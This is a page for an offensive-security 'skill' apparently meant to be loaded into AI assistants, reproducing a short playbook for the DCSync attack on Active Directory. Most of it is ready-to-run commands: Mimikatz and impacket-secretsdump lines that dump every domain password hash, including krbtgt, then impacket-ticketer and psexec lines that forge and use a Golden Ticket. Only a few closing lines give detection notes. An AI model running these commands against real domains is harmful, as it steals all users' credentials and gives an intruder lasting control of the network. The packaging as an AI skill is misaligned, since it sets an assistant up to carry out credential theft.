Dcsync

Skill sunilgentyala/OmniRed/skills/active-directory/dcsync

OmniRed: Multi-AI offensive security skills library for Claude, ChatGPT, Gemini & Microsoft Copilot — with unique MCP, LLM-pipeline, and AI-native attack categories. By Sunil Gentyala, Independent Researcher.

Install

npx -y skills add sunilgentyala/OmniRed --skill dcsync

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What its author says it does

Copied from the file, not written here

DCSync attack methodology — replicate AD credentials from Domain Controllers without touching LSASS. Covers privilege requirements, execution, and credential extraction for all domain accounts including krbtgt.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

2.0 KB, as published. Nobody here has run it

DCSync

Overview

DCSync abuses the Directory Replication Service (DRS) protocol to request password hashes from a Domain Controller as if the attacker's machine were another DC. No code runs on the DC; no LSASS dump needed.

Required permissions (any one of):

Domain Admin / Enterprise Admin
Replicating Directory Changes + Replicating Directory Changes All (delegated)
Account Operators (in some configurations)

Execution

Mimikatz:

lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Impacket (Linux — remote):

impacket-secretsdump domain/admin:password@dc-ip -just-dc
impacket-secretsdump domain/admin:password@dc-ip -just-dc-ntlm
impacket-secretsdump domain/admin:password@dc-ip -just-dc-user krbtgt

With hash (no plaintext):

impacket-secretsdump -hashes :NTLM_HASH domain/admin@dc-ip -just-dc

High-Value Targets

krbtgt       → Golden Ticket creation (10-year TGT forgery)
Administrator → Direct domain admin access
MACHINE$     → Silver Ticket / Kerberos service attacks

Post-DCSync — Golden Ticket

# Generate Golden Ticket with krbtgt hash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local administrator

# Use ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain/administrator@dc-ip

Detection Notes (for blue team context in report)

DRS replication calls from non-DC hosts are highly anomalous
Windows Event ID 4662 with Object Type = "domainDNS" and Access Mask including "Replicating Directory Changes"
NetFlow anomalies on port 135/TCP (RPC endpoint mapping) from workstations to DC

MITRE ATT&CK

T1003.006 — OS Credential Dumping: DCSync